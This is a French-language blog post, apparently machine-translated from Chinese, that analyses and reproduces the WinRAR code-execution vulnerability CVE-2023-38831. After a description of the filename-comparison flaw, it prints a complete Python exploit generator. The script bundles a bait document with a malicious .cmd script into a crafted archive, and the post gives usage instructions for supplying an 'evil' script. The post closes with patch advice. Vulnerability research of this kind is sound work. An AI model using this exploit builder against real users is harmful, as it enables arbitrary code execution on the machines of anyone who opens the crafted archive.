[Récurrence de la vulnérabilité] Vulnérabilité d'exécution de code RARLAB WinRAR RCE (CVE-2023-38831)


Préface

WinRAR est un puissant gestionnaire d'archives, qui constitue l'interface graphique de l'outil d'archives RAR dans l'environnement Windows.
Ce logiciel peut être utilisé pour sauvegarder des données, réduire la taille des pièces jointes aux e-mails, décompresser les fichiers RAR, ZIP et autres types de fichiers téléchargés sur Internet, et créer de nouveaux fichiers compressés aux formats RAR et ZIP.

À partir de la version 5.60, WinRAR a activé de nouvelles icônes, mais les utilisateurs peuvent toujours revenir aux icônes de style d'origine via le pack de thèmes fourni sur le site officiel.

déclaration

Veuillez ne pas utiliser les technologies pertinentes dans cet article pour vous livrer à des tests illégaux. Toutes les conséquences et pertes directes ou indirectes causées par la diffusion et l'utilisation des informations ou des outils fournis dans cet article sont de la responsabilité de l'utilisateur lui-même. Toutes les conséquences néfastes et L'auteur de l'article n'a aucune importance. Cet article est uniquement à des fins éducatives.

1. Description de la vulnérabilité

WinRAR est un compresseur de fichiers qui prend en charge la compression et la décompression de fichiers aux formats RAR, ZIP et autres. WinRAR présente une vulnérabilité d'exécution de code lors du traitement de fichiers et de dossiers portant le même nom dans le package compressé. L'attaquant construit un fichier de package compressé spécialement conçu composé de fichiers malveillants et de fichiers non malveillants. Après avoir incité la victime à ouvrir ce fichier, l'attaquant exécutera des commandes arbitraires sur la machine victime.

Il existe une vulnérabilité de sécurité dans les versions RARLabs WinRAR antérieures à 6.23, qui permet aux attaquants d'exécuter du code arbitraire.


2. Versions concernées

  • WinRAR < 6.23

3. Analyse de vulnérabilité

Le déclenchement de la vulnérabilité est principalement divisé en deux liens :

1. Lorsque vous cliquez sur le fichier d'appât, le fichier du dossier du même nom est libéré.
​​2. Lorsque le fichier est exécuté, le fichier .cmd du dossier est exécuté à la place du fichier d'origine.

fichier de version

Une fois que l'utilisateur a cliqué sur le fichier, Winrar parcourra le répertoire dans le fichier zip, comparera le répertoire-> nom et le nom du fichier cliqué (click_name). La quatrième option de paramètre de la fonction de comparaison (0047F790) est que la fonction sera appelée, option comme 0x80000006troisième 00496020Lorsque les paramètres sont transmis 00496020, click_name et Entry_name seront comparés comme des chaînes.
insérer la description de l'image ici
Étant donné que la longueur de comparaison transmise est la longueur de click_name, les comparaisons telles que "CLASSIFIED_DOCUMENTS.pdf" et "CLASSIFIED_DOCUMENTS.pdf \CLASSIFIED_DOCUMENTS.pdf .cmd" correspondront, donc direntrylorsqu'il dossier portant le même nom que le fichier cliqué, le la fonction de comparaison renverra 1 indique la correspondance, et le fichier correspondant à l'entrée sera publié avec le fichier cliqué.
insérer la description de l'image ici
Dans la version de réparation 623beta, la valeur de l'option transmise à la fonction de comparaison est 0x80000002. Dans cette condition, la fonction de comparaison extraira d'abord les noms de répertoire des deux paramètres pour comparaison, et la situation ci-dessus ne correspondra plus.
insérer la description de l'image ici
insérer la description de l'image ici
La nouvelle version de la valeur de l'option définit l'indicateur pour le contrôle. L'indicateur est défini une fois que le répertoire temporaire a été créé et utilisé avec succès pendant le processus d'analyse.
insérer la description de l'image ici
insérer la description de l'image ici
insérer la description de l'image ici
exécution de fichiers

Prenons comme exemple la partie de code d'utilisation suivante. Après avoir double-cliqué sur le fichier pdf dans la fenêtre d'affichage de Winrar, Winrar utilisera la fonction ShellExecuteExW pour exécuter le fichier. Les paramètres passés ici sont : "C:\Users\ \AppData\Local \Temp
\ ************Rar$DIa *****.*****\CLASSIFIED_DOCUMENTS .pdf "
insérer la description de l'image ici
En raison de l'existence du bug ci-dessus, les deux fichiers suivants seront publiés dans le dossier temporaire : CLASSIFIED_DOCUMENTS.pdfetCLASSIFIED_DOCUMENTS.pdf .cmd

这两个文件的末尾空格都在函数4A26B0中被去除

insérer la description de l'image ici
Puisqu'il ShellExecuteExWy a un espace à la fin du paramètre, il exécutera le deuxième fichier .cmd et la vulnérabilité est déclenchée !!!
insérer la description de l'image ici


4. Récurrence des vulnérabilités

L’environnement de cette récurrence est le suivant

Package d'installation de l'environnement de reproduction : cliquez pour télécharger
insérer la description de l'image ici
la vérification du script github

Adresse du projet : CVE-2023-38831-winrar-exploit

Le code d'exploitation est le suivant (les composants du code sont marqués)

import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.tar"
# 模板文件夹的名称
BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf"
#诱饵文件
SCRIPT_NAME = "script.bat"
#脚本文件
if len(sys.argv) > 3:
    BAIT_NAME = os.path.basename(sys.argv[1])
    SCRIPT_NAME = os.path.basename(sys.argv[2])
    OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
    pass
else:
    print("""Usage:
          python .\cve-2023-38831-exp-gen.py poc
          python .\cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
    sys.exit()
# 赋值 BAIT_NAME, SCRIPT_NAME 和 OUTPUT_NAME
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
# 确定其扩展名,将 BAIT_NAME 按照最后一个"."进行分割,取最后一部分作为扩展名,并添加 b"." 前缀,得到 BAIT_EXT
print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)

if os.path.exists(TEMPLATE_NAME):
    shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
    os.mkdir(d)

shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))

# if os.path.exists(OUTPUT_NAME):
#     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
#     sys.exit()

shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

with open(TEMPLATE_NAME + ".zip", "rb") as f:
    content = f.read()
    content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
    content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
#改诱饵文件扩展名
os.remove(TEMPLATE_NAME + ".zip")
# 删除临时zip
with open(OUTPUT_NAME, "wb")  as f:
    f.write(content)
#写入文件
print("ok..")

Deux façons de générer POC
python cve-2023-38831-exp-gen.py poc
ou
python cve-2023-38831-exp-gen.py CLASSIFIED_DOCUMENTS.pdf script.bat poc.rar

Instructions

1、将诱饵文件和(邪恶)脚本文件放置在当前目录下,诱饵文件建议为图片(.png、jpg)或文档(.pdf)
2、运行python cve-2023-38831-exp-gen.py <bait name> <script name> <output name>以生成您的漏洞利用程序

insérer la description de l'image ici
Exécutez la commande pour générer exp.rar, ouvrez le package compressé et double-cliquez pour exécuter le fichier *****.pdf
et enfin exécutez Calc
insérer la description de l'image ici


5. Suggestions de réparation

Il est recommandé à ceux qui n'ont pas effectué la mise à jour à temps de mettre à jour vers la dernière version 6.23 dès que possible pour éviter les attaques malveillantes.

Je suppose que tu aimes

Origine blog.csdn.net/weixin_46944519/article/details/132806105
conseillé
Classement